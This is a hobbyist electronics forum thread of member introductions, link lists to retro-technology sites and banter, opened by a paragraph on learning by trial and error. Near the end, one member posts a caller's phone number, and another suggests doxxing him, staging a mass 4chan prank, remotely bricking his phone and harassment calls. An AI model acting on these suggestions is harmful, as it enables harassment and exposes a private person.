I try to learn as much as I can and my favorite method is 'try and error'. When I started building electronics circuits at age 7, there was no literature and no internet available to me. My first experiment was to find out what happens if one connects a LED directly to a 9 V battery without a resistor. Why did I do it? Well, a red box warning in the manual for my electronics kits said not to do it, I wanted to know why. I ended up breaking both LEDs in the kit and was pretty sad that I could no longer experiment. A friend of my mum, who is an electronics engineer, laughed and brought me Red, Green, and Yellow LEDs - a hundred of each. After he also introduced me to a soldering iron and perforated PC Board, I was unstoppable. I found thousands of ways how not to do it and how to break a lot of components. That was the best form of learning for me.

Title: Re: New Member, Please introduce yourself
Post by: dirkwright on October 16, 2012, 12:04:57 am
Hello, I'm Dirk Wright from America. I work at the patent office so I'm just a hobbiest. I'm into audio mostly.
Title: Re: New Member, Please introduce yourself
Post by: lilmantis on October 17, 2012, 11:28:42 pm
G'day Mates!
Just a young player joining in the fun.
Title: Re: New Member, Please introduce yourself
Post by: jakezilla on October 19, 2012, 04:15:28 am
I'm Jake from USA. I am a EE and I love eevblog's wealth of info!
Title: Re: New Member, Please introduce yourself
Post by: cidcorp on October 20, 2012, 01:04:53 pm

Guessing I probably should have introduced myself some time back.  Chris from sunny (joke) Toronto, Ontario, Canada. I've been a fan of Dave's middle finger approach to hardware reviews for some time now.  I try my best to watch the video blog whenever something new pops up on my Apple TV.

Eh?  (By the way Canadians don't say Eh after every sentence, we do apologize a lot tho - Sorry).

Chris
Title: Re: New Member, Please introduce yourself
Post by: Autoelectrical on October 21, 2012, 11:26:53 am
Hi,

I am Jason, I have no formal electronics background, but I have been learning as I install car stereo, and other modifications to my truck. I have also installed new light fixtures, ceiling fans,garage door opener, etc in the home.

Looking to learn more. I live in the United States.
Title: Re: New Member, Please introduce yourself
Post by: Otatiaro on October 22, 2012, 07:26:11 pm
Hello,

Ok my first post was a rant against SeeedStudio ... not that fair but they really messed up.

About me, name's Thomas, I live in France (North East), about 30 years old, spent about 5 years being software developer / software engineer in different companies.

I then started again electronics about 2 years ago, after a very small project I started working on a flybarless controller for helicopters, and 2 years later it's known as the MS Heli BRAIN flybarless controller ;) Now I'm working home on electronics/software projects.

I've watched quiet a bunch of Dave's videos, like very much the way he tells if somethings bad and also if somethings good.

I don't like analogic electronics very much, I do prefer having a central MCU with some wisely chosen peripheral and minimal analog stuff, I guess I'd need to improve this.

Thomas.
Title: Re: New Member, Please introduce yourself
Post by: stratogazer on October 24, 2012, 10:57:42 am
Hi, all!

I'm Dean, 53 years old,  from Slippery Rock, PA, USA. No formal education in electronics ('cept what I'm able to glean from this site). Just starting to program my Arduino MEGA. Building a power supply/ breadboard work station for the Arduino and also making an audio amplifier for tunes in the man cave.
Title: Re: New Member, Please introduce yourself
Post by: exp1 on October 24, 2012, 01:13:22 pm
Hello, my name is José, I'm a 21 year old Argentinian EE student. Currently I'm working in electronic maintenance at a local factory, and a lot of personal projects I'm trying to get around finishing.
Title: Re: New Member, Please introduce yourself
Post by: ldivision on October 25, 2012, 01:45:20 am
Hello, my name is Mark I am a railway signal electrician, I fiddle with electronic stuff at home where I have my own model railway. Hope to learn about lots of stuff I do not know.
Title: Re: New Member, Please introduce yourself
Post by: jancumps on October 25, 2012, 06:56:44 am
Jan, from Belgium. Studied electronics in the early eighties. Profession is software architecture.
Title: Re: New Member, Please introduce yourself
Post by: Jinx on October 26, 2012, 09:39:37 pm
Hello, been watching Daves videos on YouTube and thought I'd have a browse on here. I'm based in the UK and work as a UPS technician, I deal with kit from 3KVA through to 1.4MW, predominantly 40-800VA though. I'm still learning lots and hope to accelerate that on here.
Title: Re: New Member, Please introduce yourself
Post by: floris on October 27, 2012, 04:32:49 am
Hello,
a few months ago I discoverd Davids videos and many of them are so recognisable and interesting.

I studied electronica from 1990 till 1994 and followed working in computer and monitor repair for one year because military duty calls and one year later I started in PBX's.

Even before my study my basic hobby was (and still is) electronics and my first kit was a philips kit with a board with springs and a few components and a very clear education manual.
In the years I repaired very many things with and withuot a mainsplug on it :-)
(radio, vcr, psu, tv, digital fotocameras, audiomixingpanels, audio amps, video switches, crt projector, anyway ... way much more ...)
In my study I bought my first oscilloscope a Dynatek 2 ch 20 Mhz scope and I bought a Fluke 12 DMM.
Years later  I got 2 analog storage scopes a philips and a tektroniks (so that why I like scope vids very much).

Anyway, I hope I can learn more here and help others with questions

Greetz
Floris
Title: Re: New Member, Please introduce yourself
Post by: SLJ on October 30, 2012, 05:19:46 am
Steve from upstate New York USA here.  This looks like a great resource.  I retired a couple of years ago and now have a little more time to play with my collection of antique electronics. 

I collect antique radios and record players but now mostly antique test equipment from the 1920s through 1940s.  You can check out some of my test equipment collection here: http://www.stevenjohnson.com/testers-misc.htm (http://www.stevenjohnson.com/testers-misc.htm)  You will also find links to the rest of the collection of radios, soldering irons, and my workbench here: http://www.stevenjohnson.com/ (http://www.stevenjohnson.com/)

Over the past few years I've built a large library of antique service manuals covering U.S. and Canadian radios, record players, amplifiers, and test equipment which I sell on-line.  I don't miss the 9 to 5 day job at all.  Looking forward with chatting with a few of you.

Some of my test equipment collection:
(http://www.stevenjohnson.com/images/testequipment10.jpg)

Title: Re: New Member, Please introduce yourself
Post by: dr_p on October 30, 2012, 08:10:21 am
Mihai from Romania here, late 20's, no EE formal education or job. Passionate about it though. Currently working on a linear programmable lab PSU with switch-mode tracking pre-regulator and lots of other goodies.

Great place this forum, I've learned lots so far, hope to grow and give something back to the community. Cheers!
Title: Re: New Member, Please introduce yourself
Post by: Prizmatic on October 30, 2012, 09:00:19 am
Chris from UK here. Taking early steps into RF circuits and home construction, hobby only, and looking to get a better grasp on wrangling electrons. Followed Dave's tube blog for some time, thanks for having me and providing the forum. All the best from the UK.
Chris.
Title: Re: New Member, Please introduce yourself
Post by: Shuggsy on October 31, 2012, 03:08:06 pm
Hello everyone, Scott from Georgia, USA here. I'm a "formally trained" Electrical Engineer and graduated from college in 2008, but I've found the most I learn is by tinkering, playing arorund, and experimenting.  There has been more than one occasion where I've released some magic electronics smoke... all in the process of learning, of course!

For me, it all started in high school -- I was really into computers all through middle school and I kept asking the question of "how does that work?" Eventually, that led me into the actual electrical construction of a construction of a computer, and here I am. I find nearly every facet of electronics interesting, but the analog side of things really intrigues me.

I come across Dave's EEVblog when I was thinking about getting a Kindle. I stumbled on his Kindle 3 teardown/review and I've been hooked ever since. I figure that now is as good a time as any to quit lurking and hopefully contribute to the community a bit! Keep up the good work Dave and everyone else!
Title: Re: New Member, Please introduce yourself
Post by: N TYPE on November 02, 2012, 06:17:32 am
Call me ignorant but I cant be bothered reading through the previous 53 pages of introductions before posting my own  :-[
Im Sam, I live in New Zealand Ive been an electrical engineer (electrician) for the last 10 years but have always been interested on electronics..
After stumbling across daves video blog on youtoube it has rekindled my interest in electronics. I plan to do an electronics engineering degree (study from home) starting next year..

Anyways I dont want to carry on and on so I'll leave it there.
Title: Re: New Member, Please introduce yourself
Post by: andys electronics on November 04, 2012, 09:51:04 am
Hi, I'm Andy from England, i run my own television repair shop, fixing all makes of plasma and lcd tv's.
Title: Re: New Member, Please introduce yourself
Post by: catcow1234 on November 05, 2012, 03:55:29 am
Hi all,

I'm Steve from the UK. I'm a test and repair engineer.

I've been an electronics engineer for as long as I can remember.  :)

Looking forward to getting to know a few of you.
Title: Re: New Member, Please introduce yourself
Post by: croberts on November 06, 2012, 02:03:31 am
I'm Chris from the USA. After being away from electronics for a number of years, I'm doing some circuit and PCB design and PIC programming now as a hobby. I'm currently working on a solar powered LED lighting system for my home. I also do a bit of watercolor painting when I have the time. I've enjoyed reading the posts here and I'm happy to join you all as a member.
Title: Re: New Member, Please introduce yourself
Post by: eLi_205 on November 06, 2012, 08:51:08 am
Hi Everybody!

I am Eli, aged 20, from Israel.
I am currently studying Electronics Engeniring, and hopefully in 5 months I'll get my degree  ;D

I am actually divided between two main intrests - Cars (mostly French) and - as you may guess- Electronics, My best fun accures when I get to integrate the two  ::)


Peace & Love!

Eli S.
Title: Re: New Member, Please introduce yourself
Post by: brainwash on November 06, 2012, 09:12:59 am
Hi there, I'm coming from Eastern Europe but currently [temporarily] located in Germany. I have a former EE education, Bachelor Degree, but it's really that: formal, since I've done high-level programming most of my useful life.
Currently doing some small open hardware/software projects and slowly growing the home lab.
Title: Re: New Member, Please introduce yourself
Post by: jalves on November 12, 2012, 02:37:20 am
Hello all,

Long time passionate with electronics, now playing more and more with it.

Never to late to learn. I am learning it as a hobby.

Title: Re: New Member, Please introduce yourself
Post by: markitzero on November 14, 2012, 04:36:27 pm
Hello to all I am Randy  from the US I am 26, I am computer and electronics person, Computers is one of my obessions because of me having aspergers. I am with alot of stuff I am a self learner since I have a Hard time reading text books because I can't remember what I read in the textbook
Title: Re: New Member, Please introduce yourself
Post by: kxenos on November 18, 2012, 08:25:33 am
Hello, I'm Kostas from Greece. I'm an EE and CS and working for the last 13 years on public transportation fare collection systems.
Title: Re: New Member, Please introduce yourself
Post by: nadona on November 24, 2012, 03:46:15 pm
Hello all,
Long time thinking about to learn electronics. Never too late to learn. Finally bought DMM.

Michael from US.
Title: Re: New Member, Please introduce yourself
Post by: Jerzy54 on November 26, 2012, 10:24:55 am
Hi,
My name is Jerzy from Coram USA. I'm new to electronics, but very impress with this site and this forum.
I hope to learn from all the experts here.
Title: Re: New Member, Please introduce yourself
Post by: bitwelder on November 26, 2012, 07:58:32 pm
Hello from a Electronic Engineer borrowed to IT world, as I sometimes describe myself.
I studied EE and practiced it as hobbyist at that time, but then I got job in computer area, so I can count the number of times I used my soldering iron in last 10 years on the legs of a Z80  :P
Recently I "rediscovered" my hobby and with it also this fantastic EEVblog.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: ElectronicTonic on November 28, 2012, 03:47:36 am
Hi, my name is Eric Wasatonic, electrical lab supervisor at Penn State Harrisburg, where I have a huge lab with all kinds of new and old goodies to play with and lots of projects to work on in my spare time. Also completing my master's project in which I investigate differences between spark gap and solid state Tesla coils.

Just spent the entire summer listening to all AmpHours from the beginning and watching most of Dave's videos. Recently got an AmpHour episode 116 shout-out for my YouTube channel http://www.youtube.com/user/ElectronicTonic156 (http://www.youtube.com/user/ElectronicTonic156) (Thanks Chris & Dave!!). ;D

I look forward to discussing and sharing more projects and ideas.
Title: Re: New Member, Please introduce yourself
Post by: Jackster on November 28, 2012, 04:08:16 am
Jack here from Derby UK.

Electronic Engineer in the making I think :P


Computer geek is my main job.
Title: Re: New Member, Please introduce yourself
Post by: clarksnel on November 28, 2012, 08:47:31 am
My name is Clark Snelgrove and I work as a test engineer for Nuvotronics in Radford, VA. We are an R&D company where manufacture using our proprietary Polystrata technology microwave circuits. We make an air dielectric  coaxial line ~500 microns wide and can thus shrink traditional microwave frequency circuits to very small dimensions without suffer the problems of microstrip. We can get insertion losses almost as good as waveguide from a few GHz up to 330 GHz.

I was formally trained as a physicist and spent more than twenty years as an educator. electronics and test have always been interests/hobbies of mine so when I left teaching this has become a nice fit. My biggest challenge is that much of the work that I do I am self taught on since much of the microwave test equipment that I used was introduced after I got my bachelor's degree 27+ years ago. I hope that this forum will help me be in touch with those of you that are more recently trained and more familiar with some of the current test equipment.

thanks
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 29, 2012, 09:24:38 pm
Hello all. I'm a semi-retired electronics and embedded systems designer in Sydney, Australia. Happened upon this interesting forum just now while googling for a manual, found the 'show off your workspace' thread. Can't resist - will post some pics there in a few moment.
In the meantime, a few odds and ends. No, I don't bother maintaining my web space in any rational order. It's mostly just a temporary filespace for passing things to friends.
http://everist.org/pics/hp_racks/ (http://everist.org/pics/hp_racks/)
http://everist.org/tales/ (http://everist.org/tales/)
Title: Re: New Member, Please introduce yourself
Post by: SeanB on November 30, 2012, 02:49:53 am
You building a fusion plant in the workshop?
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 30, 2012, 03:34:49 am
You building a fusion plant in the workshop?

Ha ha ha... I've no idea why you would be thinking that.
Title: Re: New Member, Please introduce yourself
Post by: SLJ on November 30, 2012, 04:19:23 am
You building a fusion plant in the workshop?

I thought maybe a deep sea submersible... for cats.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on November 30, 2012, 04:59:27 am
The vacuum chamber with the high voltage feedthrough............
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 30, 2012, 09:55:10 am
The vacuum chamber with the high voltage feedthrough............

Actually that HV insulator came with the chamber and is far too big for my needs. The top only clears the 'ceiling' by a few inches, and that is wooden flooring for the loft space above. Which is piled up with electronics and intended to become a networking  and CAD lab.
The insulator is just parked there while I think about a better way to do that.
Anyway, vacuum and high voltage (like the 200 KV DC that generator in the background is capable of) is a great way to kill yourself with accidental X-Rays.

Quote from: SLJ
I thought maybe a deep sea submersible... for cats.

Hmmm.  My cover story is slightly better than that, but your idea might work as a backup. I do have cats. When the chamber is all back together I should take some photos of cats inside it. Maybe photoshop some fish in on the outside, to look totally convincing.
Title: Re: New Member, Please introduce yourself
Post by: SLJ on November 30, 2012, 10:44:30 am
Quote from: SLJ
I thought maybe a deep sea submersible... for cats.

Hmmm.  My cover story is slightly better than that, but your idea might work as a backup. I do have cats. When the chamber is all back together I should take some photos of cats inside it. Maybe photoshop some fish in on the outside, to look totally convincing.

There are lots of possible captions for a photo like that...  :-DD
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on November 30, 2012, 12:33:23 pm
SLJ, that's a very beautiful website you've built. http://www.stevenjohnson.com/ (http://www.stevenjohnson.com/)

I hadn't come across it before, and I _love_ retro-historical technology websites.
I wonder what other gems you and others might know of?
Perhaps there should be a thread here for swapping links to techno-history sites?
Or does one already exist?

In any case, here's my collection of such links. Not checked for dead-uns.

Retrocomputing, history of computing
-------------------------------------
http://www.bitsavers.org/ (http://www.bitsavers.org/)   Sources of information on obsolete computers and electronics
http://www.xs4all.nl/~rimmer/ (http://www.xs4all.nl/~rimmer/)   Stefan's Old Computer Stuff
http://www.fwtunesco.org/musi/ring.html (http://www.fwtunesco.org/musi/ring.html)  Computer Museums and RetroComputing Culture WebRing
http://mo5.com/RING/ring.htm (http://mo5.com/RING/ring.htm)   The Computers, Videogames and Arcade Collector's Ring Homepage
http://www.old-computers.com/museum/computer.asp?c=252 (http://www.old-computers.com/museum/computer.asp?c=252)
http://www.oldcomputermuseum.com (http://www.oldcomputermuseum.com)
http://www.digibarn.com/ (http://www.digibarn.com/)
http://www.mdgx.com/w31toy.htm (http://www.mdgx.com/w31toy.htm)  Windows 3.1 stuff!
http://www.trailingedge.com (http://www.trailingedge.com)
http://www.machine-room.org (http://www.machine-room.org)
http://www.archiveteam.org/index.php?title=Main_Page (http://www.archiveteam.org/index.php?title=Main_Page)
http://www.archiveteam.org/index.php?title=Rescuing_Floppy_Disks (http://www.archiveteam.org/index.php?title=Rescuing_Floppy_Disks)
http://www.parse.com/~museum/pdp-common/books.html (http://www.parse.com/~museum/pdp-common/books.html)
http://www.chd.dyndns.org/pdp8/ (http://www.chd.dyndns.org/pdp8/)   DEC enthusiast site
http://hampage.hu/pdp-11/main.html#lista (http://hampage.hu/pdp-11/main.html#lista)  DEC PDPx history
http://www.brouhaha.com/~eric/ (http://www.brouhaha.com/~eric/)
http://www.cathodecorner.com/index.html (http://www.cathodecorner.com/index.html)   Nixies! & the CRT Clock!
http://wps.com/projects/decimal-tubes/index.html (http://wps.com/projects/decimal-tubes/index.html)    Nixie history
http://wps.com/projects/index.html (http://wps.com/projects/index.html)
http://wps.com/projects/LGP-21/ (http://wps.com/projects/LGP-21/)
http://foldoc.org/foldoc.cgi?The+story+of+Mel,+a+Real+Programmer (http://foldoc.org/foldoc.cgi?The+story+of+Mel,+a+Real+Programmer)
http://foldoc.org/ (http://foldoc.org/)   free on-line dictionary of computing
http://www.retrocomputing.net (http://www.retrocomputing.net)
http://www.vintage-computer.com (http://www.vintage-computer.com)
http://retrocalculator.com/software/ (http://retrocalculator.com/software/)
http://www.vintagecalculators.com/index.html (http://www.vintagecalculators.com/index.html)
http://home.vicnet.net.au/~wolff/calculators/Egli/Egli.htm (http://home.vicnet.net.au/~wolff/calculators/Egli/Egli.htm)   mechanical & early calculators
http://wiki.oldos.org/Downloads/MSDOS (http://wiki.oldos.org/Downloads/MSDOS)
http://www.magrundke.de/hypertxt/welcome.html (http://www.magrundke.de/hypertxt/welcome.html)    an 'old computer' museum
http://www.seasip.info/VintagePC/index.html (http://www.seasip.info/VintagePC/index.html)      Vintage PCs
http://www.islandnet.com/~kpolsson/ibmpc/ (http://www.islandnet.com/~kpolsson/ibmpc/) Chronology of IBM Personal Computers
http://www.datamath.org/Album_Sci.htm (http://www.datamath.org/Album_Sci.htm)   History of TI calculators
http://artifaxbooks.com/fsusmilkeys.htm (http://artifaxbooks.com/fsusmilkeys.htm)    Antique morse code keys & bugs.
http://smithsonianchips.si.edu/ice/s16b.htm (http://smithsonianchips.si.edu/ice/s16b.htm)  Integrated Circuit Engineering Collection !!!
http://smithsonianchips.si.edu/index2.htm (http://smithsonianchips.si.edu/index2.htm)
http://www.oldskool.org/disk2fdi/525HDMOD.htm (http://www.oldskool.org/disk2fdi/525HDMOD.htm)     Let HD 5,25" FDDs operate at 300 rpm instead of 360 rpm
http://www.oldskool.org/ (http://www.oldskool.org/)    Welcome to The Oldskool PC, a website dedicated to old PC gaming-related nostalgia and resources.

http://www.royalsignals.org.uk/ (http://www.royalsignals.org.uk/)   Vintage wireless. Manuals, etc.
http://www.megacycles.co.uk/ (http://www.megacycles.co.uk/)
http://www.kilocycles.co.uk/ (http://www.kilocycles.co.uk/)

http://www.pagetable.com/?p=401 (http://www.pagetable.com/?p=401)   Measuring the Entropy of the MOS 6502 CPU
http://www.visual6502.org/JSSim/index.html (http://www.visual6502.org/JSSim/index.html)  The Visual 6502
http://ascii.textfiles.com (http://ascii.textfiles.com)        Jason Scott's weblog of computer history.
http://www.msarnoff.org/6809/ (http://www.msarnoff.org/6809/)     building a 6809 board in 2010
http://www.folklore.org/index.py (http://www.folklore.org/index.py)  History of the original Macintosh
http://www.rewindmuseum.com/betamax.htm (http://www.rewindmuseum.com/betamax.htm)   A museum of vintage consumer electronics

http://www.arcade-museum.com/manuals/manuals_videogame.php (http://www.arcade-museum.com/manuals/manuals_videogame.php)  video game doc, incl schematics.

Hewlett Packard archives
------------------------
http://www.kennethkuhn.com/hpmuseum/ (http://www.kennethkuhn.com/hpmuseum/)  History of Hewlett Packard
http://www.hpmemory.org/ (http://www.hpmemory.org/)
http://www.hparchive.com/ (http://www.hparchive.com/)
http://tech.groups.yahoo.com/group/hp_agilent_equipment/ (http://tech.groups.yahoo.com/group/hp_agilent_equipment/)
http://tech.groups.yahoo.com/group/hparchive/ (http://tech.groups.yahoo.com/group/hparchive/)

Radio Valves - retro electronics
---------------------------------
http://www.jacmusic.com/html/articles/blueglow/blueglow.htm (http://www.jacmusic.com/html/articles/blueglow/blueglow.htm)
http://www.stevenjohnson.com/ (http://www.stevenjohnson.com/)    Steve's Antique Technology

Music Synth info
----------------
http://www.vintagesynth.com/ (http://www.vintagesynth.com/)
http://machines.hyperreal.org/manufacturers/ (http://machines.hyperreal.org/manufacturers/)
http://www.fairlight.free.fr/ (http://www.fairlight.free.fr/)   Laurent Lemaire's site.

Space junk, techno-history
---------------------------
http://www.orau.org/ptp/museumdirectory.htm (http://www.orau.org/ptp/museumdirectory.htm)
http://www.physics.rutgers.edu/~koeth/survey_meters/pages/tracerlab.html (http://www.physics.rutgers.edu/~koeth/survey_meters/pages/tracerlab.html)
http://www.telephonecollecting.org (http://www.telephonecollecting.org)
http://www.bobsoldphones.net/Pages/index.htm (http://www.bobsoldphones.net/Pages/index.htm)   Australian phone history
http://www.webring.com/t/Antique-Telephone-Collecting-Web-Ring?sid=24 (http://www.webring.com/t/Antique-Telephone-Collecting-Web-Ring?sid=24)
http://www.tubecollector.org (http://www.tubecollector.org)
http://antiqueradios.com/ (http://antiqueradios.com/)

HP-1000 sites
-------------
http://www.dashertechnologies.com/product_1000.htm (http://www.dashertechnologies.com/product_1000.htm)
http://www.hp1000.com (http://www.hp1000.com)
http://www.sieler.com/hpdisk.txt (http://www.sieler.com/hpdisk.txt)

Antique Instr & Books
---------------------
http://www.gemmary.com/ (http://www.gemmary.com/)

Title: Re: New Member, Please introduce yourself
Post by: SLJ on November 30, 2012, 02:05:15 pm
Here is my links page.  Mostly vintage radio and test equipment links but other technologies are listed at the end.
www.AntiqueAirwaves.com (http://www.antiqueairwaves.com/)
Title: Re: New Member, Please introduce yourself
Post by: slowtwitch on December 05, 2012, 09:54:28 am
Hello Everyone, My name is Pete. I was born in Germany, but, my parents immigrated to the states many years ago. As for my experience, I'm a rank beginner at this electronics stuff. Well not completely, I did study electronics at the vocational high school I attended many moons ago.

How long ago was that.....lets just say that I had a firm grasp of vacuum tubes , before those darn transistors came into play.. luckily, I graduated before they were taught in class  ;D

Anyway, I found this site looking for information on oscilloscopes and have been hooked since.  My main interest are in motor controls, such as VFD's, A.C. and D.C. servo drives and all the electronics that make up a CNC machine. I have converted a lathe to CNC and I'm currently looking into rebuilding my CNC mill.

But, I'm also interested in working on some old radios and guitar amps. The forum seems to be be filled with so many knowledgeable folks and I hope to gain just a speck of their know how.

Lastly , I want to thank Dave for getting this site going....Thanks Dave   :D

take care

pete
Title: Re: New Member, Please introduce yourself
Post by: grzywacz on December 06, 2012, 10:56:15 am
Hello!

A complete beginner here, learning on my own and with friends' help. Hoping to get better some day. :D
Title: Re: New Member, Please introduce yourself
Post by: jhansonxi on December 07, 2012, 06:34:30 am
I'm from Michigan.  Been doing PCB CAD for about 20 years, mostly automotive-related test equipment.  Have used P-CAD MD 4.5, 5, 8 (the real P-CAD on DOS), Cadence, and Altium since back when it was just buggy (Protel 1.5) up to bloated, expensive, and buggy (AD 10).

Also an electronics technician and have spent many hours soldering fine-pitch SMT boards.

Did corporate IT (Windows sysadmin) for a few years but quit before violence erupted.  Now use Ubuntu Linux almost exclusively.

Have also done residential electrical work (to code standards).

Spend my little free time maintaining tractors or riding my TerraTrike Rover (http://terratrike.com) (pushing mice around isn't enough exercise anymore).
Title: Re: New Member, Please introduce yourself
Post by: mayeri on December 10, 2012, 04:50:33 am
Hi all, I am Istvan from Hungary, Pécs. I am electrical engineer, but I'm working on telecommunications. I am at home  in IT and data networks. The electronics is my hobby.  Long ago I designed and built electronics, but now I repair and restore.  Now I would like to improve oscilloscopes.
Title: Re: New Member, Please introduce yourself
Post by: BLPisani on December 10, 2012, 02:02:38 pm
Howdy! I'm Brandon, a theate electrician in Tennessee, USA. I'm trying to teach myself electronics through books and the Internet. I see where my profession is headed, and I want to be able to advance my skills. I know enough to successfully make simple circuits (like wiring a switch, batteries, and some lights in a stage prop oe fixing a conventional lighting fixture). I have a couple of Arduinos and a Raspberry Pi for learning, but I'm generally open to learning all kinds of things.
Title: Re: New Member, Please introduce yourself
Post by: filip on December 11, 2012, 08:24:06 am
Hey,

I am Filip from Poland.

I started with electronics as my childhood/adolescence passion, but I have mostly moved to IT since then.
I would like to revive and broaden my electronics skills :).
Title: Re: New Member, Please introduce yourself
Post by: Teemo on December 15, 2012, 07:34:08 am
Hello Everyone! My name is Teemo. I am in Estonia.
I have tried woodworking, but now I'm back again in electronics. I'm more like self(un)employed inventor, at the moment.
More info about my doings is on my website:http://digiwood.ee (http://digiwood.ee)

Really like how Dave can be so honest when he fails with something. Not to cut that failing part out of the video, or cover up (at least seems that way). It is the real life, when doing electronics, things happen, this is how we learn! ;)

Teemo
Title: Re: New Member, Please introduce yourself
Post by: videobruce on December 17, 2012, 05:24:26 am
Someone tell me where this forum is based out of?
I assume it is in Europe. I couldn't find anything elsewhere in the forum.

Thanks.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 17, 2012, 05:32:37 am
A quick look at the owner will reveal he is in Australia, not Austria, a big continent sitting between the Pacific and Indian oceans, not a little country stuck in Europe...........

You know, the place with Kangaroos, Crocodile Dundee, Koala bears, Ayers Rock........ Not the place the Governator came from.

Though the forum itself is in a server located in a server farm in the USA.
Title: Re: New Member, Please introduce yourself
Post by: videobruce on December 17, 2012, 05:43:17 am
That would go under the assumption I already knew who the "owner" was.
A simple answer would of sufficed, not the unnecessary added comments.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 17, 2012, 06:24:01 am
Link to "EEVblog Main Site" is at the bottom of every page...........


Must be a little cranky tonight, keep getting calls from some unknown number +27793307368 who is adamant I am some bit he met called Thandie. 11 calls now as I am trying to sleep, can't take the hint, the direct telling him he has the wrong number, the ignoring the calls and the "Please Call Me"'s by the dozen from him for the last 2 weeks at all hours of the day and night are getting very irritating.
Title: Re: New Member, Please introduce yourself
Post by: PuterGeek on December 17, 2012, 08:54:26 am
Link to "EEVblog Main Site" is at the bottom of every page...........


Must be a little cranky tonight, keep getting calls from some unknown number +27793307368 who is adamant I am some bit he met called Thandie. 11 calls now as I am trying to sleep, can't take the hint, the direct telling him he has the wrong number, the ignoring the calls and the "Please Call Me"'s by the dozen from him for the last 2 weeks at all hours of the day and night are getting very irritating.

Just let him take you out to dinner and a movie, then tell him it just won't work between the two of you.  :-DD
Title: Re: New Member, Please introduce yourself
Post by: PuterGeek on December 17, 2012, 08:59:02 am
Apologies for not having introduced myself earlier, it must be the recessive engineer gene.  ;D

I'm Joe Stockton, an electrical engineer in the US (Atlanta GA). I got my BEE and Computer Engineering Certificate training at Georgia Tech in the mid 70's to early 80's (class of '81). What is now referred to as embedded we used to call microprocessor control (microcontrol for short).

I started at a small automatic test company where, among other things, I designed a controller for an in-circuit tester. You can now buy a faster, cheaper single chip to replace the 2 MHz Motorola 6809 (6800 successor) and the dozen or so chips required.

In the mid to late 80's I was the senior hardware engineer for a dispatch radio startup. I designed two ASICs (we called them gate arrays) with hand drawn schematics, converted the schematics to RTL and simulated them on a 4.5 MIP Amdahl mainframe ($170,000 CPU bill :o). The gate arrays were used in mobile radios and the multiprocessor system that managed trunking, channel control, telephone interface and billing. CMOS was starting to replace bipolar and NMOS in mainstream electronics and we were one of the first companies in Atlanta to use surface mount technology.

After little consulting in the late 80’s and a few years working for a Macintosh peripheral manufacturer, I took a break from the electronics industry. In the mid 90’s thru 2001 I did IT, database design and operations at a small education company. For the last 10 years I did everything from operations management to embedded design for a tiny company that makes control panels for industrial diesel engines.

I left the control panel company in June and restarted consulting, goofing off, trying to invent the next big thing and/or winning the lottery. ;) I could have done a lot of good with that half-billion dollar Powerball jackpot!

I’ve done logic design, audio frequency analog, high precision analog, embedded system design, programming (C, assembly, Fortran, Pascal, VBA, Perl, scripting, etc.), database development (Access, SQL Server), network design/implementation (servers, Ethernet, routers, ISDN, DSL, T1, etc.) and harness design. I’ve use CAD software (P-CAD, Altium, AutoCAD, Inventor, etc.), various processors (Motorola, Intel, National, NXP, TI), computer systems (Data General, NCR, DEC, PCs and clones, 68xxx and PowerPC Macintosh) and lots of operating systems (mainframe, OS9, Unix, MS-DOS, every Windows desktop/server release, pre-BSD Macintosh System, Linux, RTOSes). I’ve also done a lot of operations stuff including manufacturing engineering, contract management and operations management. Throw in supervising a building remodeling, a couple of business relocations, a couple of PBX installations and a few MRP implementations.

For myself, I do a little woodworking and virtually every home improvement project possible (appliance repair, patching, painting, wallpaper, tile, carpet, plumbing, house wiring, sheetrock, decks, porches, landscaping, gardening). I even enjoyed most a lot some of those!

I ran across Dave’s video blog while searching for information to update my aging equipment for my consulting at a reasonable cost. I have thoroughly enjoyed Dave’s teardowns, rants and ideas. I’m glad to ‘meet’ everyone in the forum and have enjoyed the helpful discussions, debates and pointers.

I hope my experience and information is useful. I’m likely to share even if it’s not!

-Joe

p.s. This sounds like a weird cross between a resume, job interview, Facebook and a dating site profile. :P
Title: Re: New Member, Please introduce yourself
Post by: Fluxed Matter on December 17, 2012, 10:07:07 am
Australia not Austria.
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on December 17, 2012, 10:16:11 am
Link to "EEVblog Main Site" is at the bottom of every page...........


Must be a little cranky tonight, keep getting calls from some unknown number +27793307368 who is adamant I am some bit he met called Thandie. 11 calls now as I am trying to sleep, can't take the hint, the direct telling him he has the wrong number, the ignoring the calls and the "Please Call Me"'s by the dozen from him for the last 2 weeks at all hours of the day and night are getting very irritating.

Sounds like a job for a 4chan blind date.
Go on, you know you want to. Get video, post on youtube. With his address and phone number.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 17, 2012, 04:56:03 pm
Few reasons as to why not................ Only calls when inebriated and is looking for cheap sex, and I am not that kind of guy.
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on December 17, 2012, 10:24:15 pm
Few reasons as to why not................ Only calls when inebriated and is looking for cheap sex, and I am not that kind of guy.

Ha ha... that wasn't what I meant. Get his number and some random pic from the net of an attractive young lady (who you will pretend to him to be, and who will be his photo on the thread) and via 4chan set him up for a blind date at a specific location with about 5,000 pimply faced socially awkward youths. Don't forget to specify what he (she) should wear, so 'you' (they) can recognize him.
Title: Re: New Member, Please introduce yourself
Post by: SeanB on December 17, 2012, 10:36:03 pm
It's a big country, and I cannot tell where he is from, just that he is Zulu speaking. To bait him would mean an effort not worth the reward, pointless leading an ass to water if it will just bray. Only calls when has money for airtime, and i gave him a memory location on the phone with his own special ringtone of silence now. Still get the Please Call Me's, so he has no money, has spent it all at the shebeen or tavern on utshwala, and has no car so walks home. Does not respond when sworn to either, one time when he called I gave the phone to a colleague and he called him things that would get me banned here, he worked on the railways and learned a lot of impressive expressions there.
Title: Re: New Member, Please introduce yourself
Post by: TerraHertz on December 18, 2012, 10:33:24 am
Oh well, that doesn't sound like much potential for revenge LOLs.
The only other one I can think of is something along the lines of 'remotely brick mobile phone' (google).
But seems like a slim chance there too.

Still, you've got his number, and he _wants_ you to call back So auto-call him back at random hours to remind him to remove your number from his phone. After a few days of getting woken up several times a night he might get it.
